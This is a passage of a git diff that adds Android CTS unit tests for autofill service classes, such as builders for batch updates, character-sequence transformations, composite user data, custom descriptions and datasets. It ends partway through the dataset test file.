diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/BatchUpdatesTest.java
new file mode 100644
index 0000000..b77574a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/BatchUpdatesTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.InternalTransformation;
+import android.service.autofill.Transformation;
+import android.widget.RemoteViews;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class BatchUpdatesTest {
+
+    private final BatchUpdates.Builder mBuilder = new BatchUpdates.Builder();
+
+    @Test
+    public void testAddTransformation_null() {
+        assertThrows(IllegalArgumentException.class, () ->  mBuilder.transformChild(42, null));
+    }
+
+    @Test
+    public void testAddTransformation_invalidClass() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.transformChild(42, mock(Transformation.class)));
+    }
+
+    @Test
+    public void testSetUpdateTemplate_null() {
+        assertThrows(NullPointerException.class, () ->  mBuilder.updateTemplate(null));
+    }
+
+    @Test
+    public void testEmptyObject() {
+        assertThrows(IllegalStateException.class, () ->  mBuilder.build());
+    }
+
+    @Test
+    public void testNoMoreChangesAfterBuild() {
+        assertThat(mBuilder.updateTemplate(mock(RemoteViews.class)).build()).isNotNull();
+        assertThrows(IllegalStateException.class,
+                () ->  mBuilder.updateTemplate(mock(RemoteViews.class)));
+        assertThrows(IllegalStateException.class,
+                () ->  mBuilder.transformChild(42, mock(InternalTransformation.class)));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceMatcher.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceMatcher.java
new file mode 100644
index 0000000..390eecd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceMatcher.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.unittests;
+
+import org.mockito.ArgumentMatcher;
+
+final class CharSequenceMatcher implements ArgumentMatcher<CharSequence> {
+    private final CharSequence mExpected;
+
+    CharSequenceMatcher(CharSequence expected) {
+        mExpected = expected;
+    }
+
+    @Override
+    public boolean matches(CharSequence actual) {
+        return actual.toString().equals(mExpected.toString());
+    }
+
+    @Override
+    public String toString() {
+        return mExpected.toString();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceTransformationTest.java
new file mode 100644
index 0000000..8fe5af8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceTransformationTest.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class CharSequenceTransformationTest {
+
+    @Test
+    public void testAllNullBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new CharSequenceTransformation.Builder(null, null, null));
+    }
+
+    @Test
+    public void testNullAutofillIdBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(null, Pattern.compile(""), ""));
+    }
+
+    @Test
+    public void testNullRegexBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(new AutofillId(1), null, ""));
+    }
+
+    @Test
+    public void testNullSubstBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(new AutofillId(1), Pattern.compile(""),
+                        null));
+    }
+
+    @Test
+    public void testBadSubst() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId id3 = new AutofillId(3);
+        AutofillId id4 = new AutofillId(4);
+
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile("(.)"), "1=$1");
+
+        // bad subst: The regex has no capture groups
+        b.addField(id2, Pattern.compile("."), "2=$1");
+
+        // bad subst: The regex does not have enough capture groups
+        b.addField(id3, Pattern.compile("(.)"), "3=$2");
+
+        b.addField(id4, Pattern.compile("(.)"), "4=$1");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("a");
+        when(finder.findByAutofillId(id2)).thenReturn("b");
+        when(finder.findByAutofillId(id3)).thenReturn("c");
+        when(finder.findByAutofillId(id4)).thenReturn("d");
+
+        assertThrows(IndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
+
+        // fail one, fail all
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testUnknownField() throws Exception {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId unknownId = new AutofillId(42);
+
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile(".*"), "1");
+
+        // bad subst: The field will not be found
+        b.addField(unknownId, Pattern.compile(".*"), "unknown");
+
+        b.addField(id2, Pattern.compile(".*"), "2");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("1");
+        when(finder.findByAutofillId(id2)).thenReturn("2");
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+        trans.apply(finder, template, 0);
+
+        // if a view cannot be found, nothing is not, not even partial results
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testCreditCardObfuscator() throws Exception {
+        AutofillId creditCardFieldId = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation.Builder(creditCardFieldId,
+                Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"),
+                "...$1").build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("...3456")));
+    }
+
+    @Test
+    public void testReplaceAllByOne() throws Exception {
+        AutofillId id = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(id, Pattern.compile("."), "*")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("four");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("****")));
+    }
+
+    @Test
+    public void testPartialMatchIsIgnored() throws Exception {
+        AutofillId id = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(id, Pattern.compile("^MATCH$"), "*")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("preMATCHpost");
+
+        trans.apply(finder, template, 0);
+
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void userNameObfuscator() throws Exception {
+        AutofillId userNameFieldId = new AutofillId(1);
+        AutofillId passwordFieldId = new AutofillId(2);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(userNameFieldId, Pattern.compile("(.*)"), "$1")
+                .addField(passwordFieldId, Pattern.compile(".*(..)$"), "/..$1")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(userNameFieldId)).thenReturn("myUserName");
+        when(finder.findByAutofillId(passwordFieldId)).thenReturn("myPassword");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(),
+                argThat(new CharSequenceMatcher("myUserName/..rd")));
+    }
+
+    @Test
+    public void testMismatch() throws Exception {
+        AutofillId id1 = new AutofillId(1);
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile("Who are you?"), "1");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("I'm Batman!");
+
+        trans.apply(finder, template, 0);
+
+        // If the match fails, the view should not change.
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testFieldsAreAppliedInOrder() throws Exception {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId id3 = new AutofillId(3);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(id1, Pattern.compile("a"), "A")
+                .addField(id3, Pattern.compile("c"), "C")
+                .addField(id2, Pattern.compile("b"), "B")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("a");
+        when(finder.findByAutofillId(id2)).thenReturn("b");
+        when(finder.findByAutofillId(id3)).thenReturn("c");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("ACB")));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/CompositeUserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/CompositeUserDataTest.java
new file mode 100644
index 0000000..908bf21
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/CompositeUserDataTest.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CompositeUserData;
+import android.service.autofill.UserData;
+import android.util.ArrayMap;
+
+import com.google.common.base.Strings;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class CompositeUserDataTest {
+
+    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+            + Strings.repeat("?", UserData.getMaxValueLength());
+    private final String mId = "4815162342";
+    private final String mId2 = "4815162343";
+    private final String mCategoryId = "id1";
+    private final String mCategoryId2 = "id2";
+    private final String mCategoryId3 = "id3";
+    private final String mValue = mShortValue + "-1";
+    private final String mValue2 = mShortValue + "-2";
+    private final String mValue3 = mShortValue + "-3";
+    private final String mValue4 = mShortValue + "-4";
+    private final String mValue5 = mShortValue + "-5";
+    private final String mAlgo = "algo";
+    private final String mAlgo2 = "algo2";
+    private final String mAlgo3 = "algo3";
+    private final String mAlgo4 = "algo4";
+
+    private final UserData mEmptyGenericUserData = new UserData.Builder(mId, mValue, mCategoryId)
+            .build();
+    private final UserData mLoadedGenericUserData = new UserData.Builder(mId, mValue, mCategoryId)
+            .add(mValue2, mCategoryId2)
+            .setFieldClassificationAlgorithm(mAlgo, createBundle(false))
+            .setFieldClassificationAlgorithmForCategory(mCategoryId2, mAlgo2, createBundle(false))
+            .build();
+    private final UserData mEmptyPackageUserData = new UserData.Builder(mId2, mValue3, mCategoryId3)
+            .build();
+    private final UserData mLoadedPackageUserData = new UserData
+            .Builder(mId2, mValue3, mCategoryId3)
+            .add(mValue4, mCategoryId2)
+            .setFieldClassificationAlgorithm(mAlgo3, createBundle(true))
+            .setFieldClassificationAlgorithmForCategory(mCategoryId2, mAlgo4, createBundle(true))
+            .build();
+
+
+    @Test
+    public void testMergeInvalid_bothNull() {
+        assertThrows(NullPointerException.class, () -> new CompositeUserData(null, null));
+    }
+
+    @Test
+    public void testMergeInvalid_nullPackageUserData() {
+        assertThrows(NullPointerException.class,
+                () -> new CompositeUserData(mEmptyGenericUserData, null));
+    }
+
+    @Test
+    public void testMerge_nullGenericUserData() {
+        final CompositeUserData userData = new CompositeUserData(null, mEmptyPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(1);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(1);
+        assertThat(values[0]).isEqualTo(mValue3);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+        assertThat(userData.getDefaultFieldClassificationArgs()).isNull();
+    }
+
+    @Test
+    public void testMerge_bothEmpty() {
+        final CompositeUserData userData = new CompositeUserData(mEmptyGenericUserData,
+                mEmptyPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(2);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+        assertThat(categoryIds[1]).isEqualTo(mCategoryId);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(2);
+        assertThat(values[0]).isEqualTo(mValue3);
+        assertThat(values[1]).isEqualTo(mValue);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+        assertThat(userData.getDefaultFieldClassificationArgs()).isNull();
+    }
+
+    @Test
+    public void testMerge_emptyGenericUserData() {
+        final CompositeUserData userData = new CompositeUserData(mEmptyGenericUserData,
+                mLoadedPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(3);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+        assertThat(categoryIds[1]).isEqualTo(mCategoryId2);
+        assertThat(categoryIds[2]).isEqualTo(mCategoryId);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(3);
+        assertThat(values[0]).isEqualTo(mValue3);
+        assertThat(values[1]).isEqualTo(mValue4);
+        assertThat(values[2]).isEqualTo(mValue);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo3);
+
+        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
+        assertThat(defaultArgs).isNotNull();
+        assertThat(defaultArgs.getBoolean("isPackage")).isTrue();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
+                .isEqualTo(mAlgo4);
+
+        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
+        assertThat(args.size()).isEqualTo(1);
+        assertThat(args.containsKey(mCategoryId2)).isTrue();
+        assertThat(args.get(mCategoryId2)).isNotNull();
+        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isTrue();
+    }
+
+    @Test
+    public void testMerge_emptyPackageUserData() {
+        final CompositeUserData userData = new CompositeUserData(mLoadedGenericUserData,
+                mEmptyPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(3);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+        assertThat(categoryIds[1]).isEqualTo(mCategoryId);
+        assertThat(categoryIds[2]).isEqualTo(mCategoryId2);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(3);
+        assertThat(values[0]).isEqualTo(mValue3);
+        assertThat(values[1]).isEqualTo(mValue);
+        assertThat(values[2]).isEqualTo(mValue2);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo);
+
+        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
+        assertThat(defaultArgs).isNotNull();
+        assertThat(defaultArgs.getBoolean("isPackage")).isFalse();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
+                .isEqualTo(mAlgo2);
+
+        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
+        assertThat(args.size()).isEqualTo(1);
+        assertThat(args.containsKey(mCategoryId2)).isTrue();
+        assertThat(args.get(mCategoryId2)).isNotNull();
+        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isFalse();
+    }
+
+
+    @Test
+    public void testMerge_bothHaveData() {
+        final CompositeUserData userData = new CompositeUserData(mLoadedGenericUserData,
+                mLoadedPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(3);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+        assertThat(categoryIds[1]).isEqualTo(mCategoryId2);
+        assertThat(categoryIds[2]).isEqualTo(mCategoryId);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(3);
+        assertThat(values[0]).isEqualTo(mValue3);
+        assertThat(values[1]).isEqualTo(mValue4);
+        assertThat(values[2]).isEqualTo(mValue);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo3);
+        assertThat(userData.getDefaultFieldClassificationArgs()).isNotNull();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
+                .isEqualTo(mAlgo4);
+
+        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
+        assertThat(defaultArgs).isNotNull();
+        assertThat(defaultArgs.getBoolean("isPackage")).isTrue();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
+                .isEqualTo(mAlgo4);
+
+        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
+        assertThat(args.size()).isEqualTo(1);
+        assertThat(args.containsKey(mCategoryId2)).isTrue();
+        assertThat(args.get(mCategoryId2)).isNotNull();
+        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isTrue();
+    }
+
+    private Bundle createBundle(Boolean isPackageBundle) {
+        final Bundle bundle = new Bundle();
+        bundle.putBoolean("isPackage", isPackageBundle);
+        return bundle;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/CustomDescriptionUnitTest.java
new file mode 100644
index 0000000..9bdd32b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/CustomDescriptionUnitTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.InternalOnClickAction;
+import android.service.autofill.InternalTransformation;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.OnClickAction;
+import android.service.autofill.Transformation;
+import android.service.autofill.Validator;
+import android.util.SparseArray;
+import android.widget.RemoteViews;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class CustomDescriptionUnitTest {
+
+    private final CustomDescription.Builder mBuilder =
+            new CustomDescription.Builder(mock(RemoteViews.class));
+    private final BatchUpdates mValidUpdate =
+            new BatchUpdates.Builder().updateTemplate(mock(RemoteViews.class)).build();
+    private final Transformation mValidTransformation = mock(InternalTransformation.class);
+    private final Validator mValidCondition = mock(InternalValidator.class);
+    private final OnClickAction mValidAction = mock(InternalOnClickAction.class);
+
+    @Test
+    public void testNullConstructor() {
+        assertThrows(NullPointerException.class, () ->  new CustomDescription.Builder(null));
+    }
+
+    @Test
+    public void testAddChild_null() {
+        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addChild(42, null));
+    }
+
+    @Test
+    public void testAddChild_invalidImplementation() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.addChild(42, mock(Transformation.class)));
+    }
+
+    @Test
+    public void testBatchUpdate_nullCondition() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.batchUpdate(null, mValidUpdate));
+    }
+
+    @Test
+    public void testBatchUpdate_invalidImplementation() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.batchUpdate(mock(Validator.class), mValidUpdate));
+    }
+
+    @Test
+    public void testBatchUpdate_nullUpdates() {
+        assertThrows(NullPointerException.class,
+                () ->  mBuilder.batchUpdate(mValidCondition, null));
+    }
+
+    @Test
+    public void testSetOnClickAction_null() {
+        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addOnClickAction(42, null));
+    }
+
+    @Test
+    public void testSetOnClickAction_invalidImplementation() {
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.addOnClickAction(42, mock(OnClickAction.class)));
+    }
+
+    @Test
+    public void testSetOnClickAction_thereCanBeOnlyOne() {
+        final CustomDescription customDescription = mBuilder
+                .addOnClickAction(42, mock(InternalOnClickAction.class))
+                .addOnClickAction(42, mValidAction)
+                .build();
+        final SparseArray<InternalOnClickAction> actions = customDescription.getActions();
+        assertThat(actions.size()).isEqualTo(1);
+        assertThat(actions.keyAt(0)).isEqualTo(42);
+        assertThat(actions.valueAt(0)).isSameInstanceAs(mValidAction);
+    }
+
+    @Test
+    public void testBuild_valid() {
+        new CustomDescription.Builder(mock(RemoteViews.class)).build();
+        new CustomDescription.Builder(mock(RemoteViews.class))
+            .addChild(108, mValidTransformation)
+            .batchUpdate(mValidCondition, mValidUpdate)
+            .addOnClickAction(42, mValidAction)
+            .build();
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        mBuilder.build();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.addChild(108, mValidTransformation));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.batchUpdate(mValidCondition, mValidUpdate));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.addOnClickAction(42, mValidAction));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
new file mode 100644
index 0000000..8297163
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Arrays.asList;
+import static java.util.Collections.singletonList;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.content.ClipData;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.Dataset;
+import android.service.autofill.InlinePresentation;
+import android.util.Size;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+import android.widget.inline.InlinePresentationSpec;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class DatasetTest {
+
+    private final AutofillId mId = new AutofillId(42);
+    private final AutofillId mId2 = new AutofillId(43);
+    private final AutofillValue mValue = AutofillValue.forText("ValuableLikeGold");
+    private final Pattern mFilter = Pattern.compile("whatever");
+    private final InlinePresentation mInlinePresentation = new InlinePresentation(
+            new Slice.Builder(new Uri.Builder().appendPath("DatasetTest").build(),
+                    new SliceSpec("DatasetTest", 1)).build(),
+            new InlinePresentationSpec.Builder(new Size(10, 10),
+                    new Size(50, 50)).build(), /* pinned= */ false);
+    private final ClipData mContent = new ClipData("sample label", new String[] {"image/png"},
+            new ClipData.Item("content://example/0"));
+    private final IntentSender mAuth = mock(IntentSender.class);
+
+    private final RemoteViews mPresentation = mock(RemoteViews.class);
+
+    @Test
+    public void testBuilder_nullPresentation() {
+        assertThrows(NullPointerException.class, () -> new Dataset.Builder((RemoteViews) null));
+    }
+
+    @Test
+    public void testBuilder_nullInlinePresentation() {
+        assertThrows(NullPointerException.class,
+                () -> new Dataset.Builder((InlinePresentation) null));
+    }
+
+    @Test
+    public void testBuilder_validPresentations() {
+        assertThat(new Dataset.Builder(mPresentation)).isNotNull();
+        assertThat(new Dataset.Builder(mInlinePresentation)).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setNullInlinePresentation() {
+        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
+        assertThrows(NullPointerException.class, () -> builder.setInlinePresentation(null));
+    }
+
+    @Test
+    public void testBuilder_setInlinePresentation() {
+        assertThat(new Dataset.Builder().setInlinePresentation(mInlinePresentation)).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setValueNullId() {
+        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
+        assertThrows(NullPointerException.class, () -> builder.setValue(null, mValue));
+    }
+
+    @Test
+    public void testBuilder_setValueWithoutPresentation() {
+        // Just assert that it builds without throwing an exception.
+        assertThat(new Dataset.Builder().setValue(mId, mValue).build()).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setValueWithNullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                (RemoteViews) null));
+    }
+
+    @Test
+    public void testBuilder_setValueWithBothPresentation_nullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                null, mInlinePresentation));
+    }
+
+    @Test
+    public void testBuilder_setValueWithBothPresentation_nullInlinePresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                mPresentation, null));
+    }
+
+    @Test
+    public void testBuilder_setValueWithBothPresentation_bothNull() {
+        final Dataset.Builder builder = new Dataset.Builder();
